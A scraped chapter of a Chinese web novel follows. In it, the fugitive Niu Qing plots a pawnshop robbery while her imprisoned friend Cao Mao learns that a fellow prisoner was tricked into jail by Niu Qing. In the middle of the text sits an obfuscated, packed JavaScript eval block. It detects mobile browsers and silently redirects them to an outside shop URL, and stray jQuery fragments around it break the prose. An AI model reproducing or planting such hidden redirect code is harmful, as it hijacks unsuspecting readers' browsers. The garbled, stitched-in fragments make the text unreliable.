23. 名字

作品:《女尊之江山美人我都要

    剧烈的喘息声在空荡荡的长街上回荡,牛蜻大汗淋漓,跟刚从水里捞出来似的。


    大多数郡兵追她可就是演个样子,但李勇手下的亲兵们,追得可真卖力啊!


    追得她从红日高挂跑到夕阳西斜,又从夕阳西斜到夜幕降临,才堪堪将她们甩掉。现在,牛蜻双腿跟灌了铅一样,喉咙有种燥热的血腥味,每呼出一口气都让她胸口闷痛。


    而那个跟她一起逃出来的中年女子也不知是没跟上,还是累倒在哪条小巷子里了,反正早就没影了。


    牛蜻真是一步路也不想走了。可是,她也不敢真停下脚步。


    抓不到她,申子薪和李勇势必四处张贴画像,留在街上只会更危险。


    实在要坚持不下去了,就想些有的没的转移转移注意力——


    看南安门里的情况,接下来城里只会越来越乱,她何不利用这个机会捞一笔横财?不然就算把曹茅捞出来,两人也不过是从穷鬼变成乞丐,迟早被饿死。


    这个念头让牛蜻眼里发光,她舔了舔干裂的嘴唇,计上心头:连贵族短刀都懒得立即入库,想来那丁浒拜师的当铺里很有点值钱的东西!


    ‘安通典坊’这四个字她可是记得牢牢的,只是不知道具体在哪个位置,回去问问素书吧。


    也不知他发觉床下的那只夜明小钗没有?


    那时被她扔到床下,很该回去找一找。


    牛蜻不由得想起之前吃上的热汤热饭,肚子应景地咕咕叫起来,不觉生出一点盼头,等下他会给她弄点什么吃呢?


    说起那小男儿,也是当真贤惠,虽然看着瘦弱,干起活来却细致、利落,怪不得能将人伺候得舒舒服服。


    且看在他给她配药的份上,她也不会随随便便将他卖给那个淫邪的狱卒,他配合一下,做场戏就是了。


    牛蜻料那狱卒住的宅子也没多大,到时候她和草茅两个人,一个望风,一个爬墙,闯进闺房,扛起小男儿就跑,那狱卒还能如何?


    那王八蛋就算再想抓她,也要排队排到申子薪、李勇后头!


    倒也不能饶了这些人,牛蜻勾勾嘴角,又想出个绝妙的主意,等她把安通典坊洗劫一空,就在墙上写上此二人的名字,一旦主家回来,那才好玩呢!


    她激动得搓了搓手,累到极点的身体似乎又恢复了些力气,加快步伐拐到熟悉的街面上。


    只是——


    她没看到烛光。


    药铺里露出个空空的大黑洞,不远的地上躺着块掉漆的门板。


    她走时还没掉漆的!


    有人来过。


    牛蜻的心顿时一沉,眉头微皱。


    前院后院,果然不见素书的踪影,从地上的印迹来看,他是没怎么挣扎就被带走了,那门板上又为何会掉漆,会有他的手指印?


    不挣扎还是不敢挣扎?对于土生土长的小仆来说,似乎只有那一个解释了。


    牛蜻没管门板,静静地坐在黑暗中,没什么表情。


    她似乎有点失落,又好像在意料之中,或许还有点恼,种种情绪从她身体穿过,不一会儿就什么也没剩下了。


    空空落落的。


    一切似乎都回到原点。


    曹茅怎么救?


    她一个人要怎么演才能骗过狱卒?


    更糟糕的是,时间。


    过了今晚,明天的太阳一升起,就是与狱卒约定的第三天了,最后期限。如果对方见不到素书,她就要给小胖子收尸。


    还有,就算素书还在,她明天要怎么躲过满街的画像,狱卒会不认得她吗?


    一连串问题摆在她眼前,让她如同陷入一潭深水中,遍体冰凉,举目望去,无依无靠,即使站着不动,水里也有致命猛兽,发现她也只是或早或晚。


    无论怎么看,都是走进了死胡同,穷途末路的时刻来到了。


    ……


    才吃过晚饭,没一会儿,曹茅的肚子就又咕咕叫了。


    那粥稀得像水一样,也是这一天半里唯一的一顿饭,一天半不算长,可曹茅迅速从一个圆润健壮的小胖子变得脸色憔悴、精神萎靡。


    她看着李厨子吃完,自己慢慢挪到一个墙角坐了,这里是离那个疯子最远的地方,她眯着眼往黑暗中看,那个一团黑的影子一动没动。


    死了最好,大傻根,曹茅愤愤地想。


    刚合上眼皮准备睡觉,对面的监牢就传出一阵压抑的哭声,听着是个年纪不大的男儿。


    曹茅对他有印象,虽然长着一双水灵的眼睛,可是饿得脱相,看不出颜色好不好,故而她那是只是瞥了一眼,未放在心上。


    可不是所有人都这样想,她脚挨着的栏杆发出轻微振动,是一个人跌跌撞撞地扑过去了。


    隔着一条两臂宽的过道,颤声喊那个小男儿的名字,“枝枝别哭,姐姐在这儿呢。”


    行,这个小傻根也不消停了。


    曹茅有点不耐烦地啧了一声,抱着手臂侧了侧身。


    她实在想不到通,为什么会有人为了找人,不惜自己蹲大牢的——这是白天的时候,他从这个丹凤眼的少女和对面那个小男儿的谈话中听到的。


    那个叫枝枝的小男儿一直哭,想让姐姐出去,当姐姐的自然不肯。姐弟就这么一来一往,声音搅得旁人耳朵疼,最后其他房里的人都坐不住了,两人见氛围不对方罢休,最后,少女还撂下一句狠话,“若我小弟死了,我绝不独活!”


    听得曹茅想笑,心想姥子怕你啊,都是死囚房里的。


    丁浒哄了一会儿,快要崩溃的丁枝枝才又一次安静下来。


    他从被抓紧来开始就没有发出过任何声音,像是木头做的,直到今天见到意想不到的姐姐,那些恐惧和孤独的情绪才乍时冲破躯体,控制不住地流泻出来。


    几次反复,直到此时,恢复了些理智的丁枝枝问出哪个他疑惑不已的问题,“姐姐,你是怎么进来的。”


    他大而圆的眼睛如同葡萄一样,盯得丁浒偏开目光,“就,犯事了。”


    丁浒支支吾吾的,神情可疑。


    丁枝枝忽然像是感觉到了什么,黑黝黝的一对眼睛落到姐姐身旁那个胖胖的身影上。


    他虽然年纪小,可颠沛流离的日子让他格外早熟,一些有点沉重的东西侵入了他的目光,和普通小男儿一点也不一样。


    不一会儿,曹茅就被盯得背后发凉,带着点惊恐地回头,一眼就看到眼神沉沉的丁枝枝。</


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16928845|190572||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>


    “别以为你是男儿,我就不打了!”曹茅半是被冒犯半是面子过不去,抬手吓唬对方,“跟我又没关系,你看什么看?”


    真是莫名其妙!又不是因为她,丹凤眼少女才被抓进来的!


    她之前明明听见狱卒她们说,这个丁什么是为了一个朋友被抓进来的,她连认识都不认识这个少年,怎么可能跟自己扯上关系?


    再说,若是因自己的缘故,要抓也得先抓牛蜻啊,对吧。


    难道牛蜻的三寸不烂之舌还能说动一个陌生人替她顶罪,替她蹲大狱?


    故而,她理直气壮地瞪了丹凤眼少年一眼,又一次闭上眼睛。


    可却睡不着了,谁能睡得着呢?


    死期在即啊!


    她嘴里泛上苦涩,不由叹口气道,“大蜻啊,你怎么还不来捞我呀?别是在哪里潇洒,把姥姥我真忘到奶奶家了吧……死大蜻,不会丢下我,自己回家去了吧?怎么还不来啊……”


    丁浒终于回过头,认真地上下打量一番胖子,这什么人啊?


    那女人就为这么个人连命都能豁出去?


    不知为何,她心里不太舒服,好像被什么堵住了似的。


    曹茅每念完一句牛蜻,她心里就踏实一点,等翻来覆去念叨完几十句‘大蜻’,她是头也不痛了,腿也不软了,可算是又找回点镇定。这也不能怪她,任谁知道自己死期在即,都会不太正常。


    牛蜻来探监之前,她出于崩溃绝望中不能自拔,在牛蜻来过后,她便只有想着念着外面还有个牛蜻来支撑自己度日如年地活下去。


    对她来说,现在牛蜻的名字,比什么神啊佛啊都更管用。


    只要管用,她就念,念的时候还加点个人风格的词,浑然没发觉惹了另一个人的不快。


    但很快,她感觉到了,阴测测的眼风跟刀子似的剜过来,一眼接着一眼。


    “你他爹的也有病啊?”曹茅没有一点好脸色,说起来真是撞鬼了,这监狱里一个揍她的一个瞪她的,还有一个怪异的小男儿,简直是流年不利啊!


    丁浒也是百思不得其解,这胖子霸道、无赖又不好惹,叉开两腿往那一坐,见谁都要屌两下,一看就不是什么纯洁无瑕的受害人,那女人不会是被她骗了吧?


    “混账骗子,什么眼光啊。”


    她话中带着几分嗔怪又带着几分亲昵,听得丁枝枝心中一动。


    同样的话落到曹茅耳中,一个几乎天方夜谭的想法突然出现在脑袋里,“你你你,不会是被她坑进来的吧?”


    这个想法太过不切实际,曹茅的声音非常轻,可无论有多轻,还是躲不过耳聪目明的马玄明,她一下捕捉到了‘坑’这个字。


    丁浒连丁枝枝都糊弄不住,更别提是在混子曹茅面前了,在曹茅的视线压力下,她眼神躲闪,两颊控制不住地火热滚烫起来。


    曹茅没有追问,一方面她要消化一下这个震惊的消息,另一方她觉得自己真叫破了这事,被狱卒听到也不好。


    只是黑暗里传来悉悉索索和铁链移动的声音,马玄明现身了。


    牛蜻,这个名字在在场四个人的心里回响,即使她本人并不在这,但她的名字开始对一些人有意义。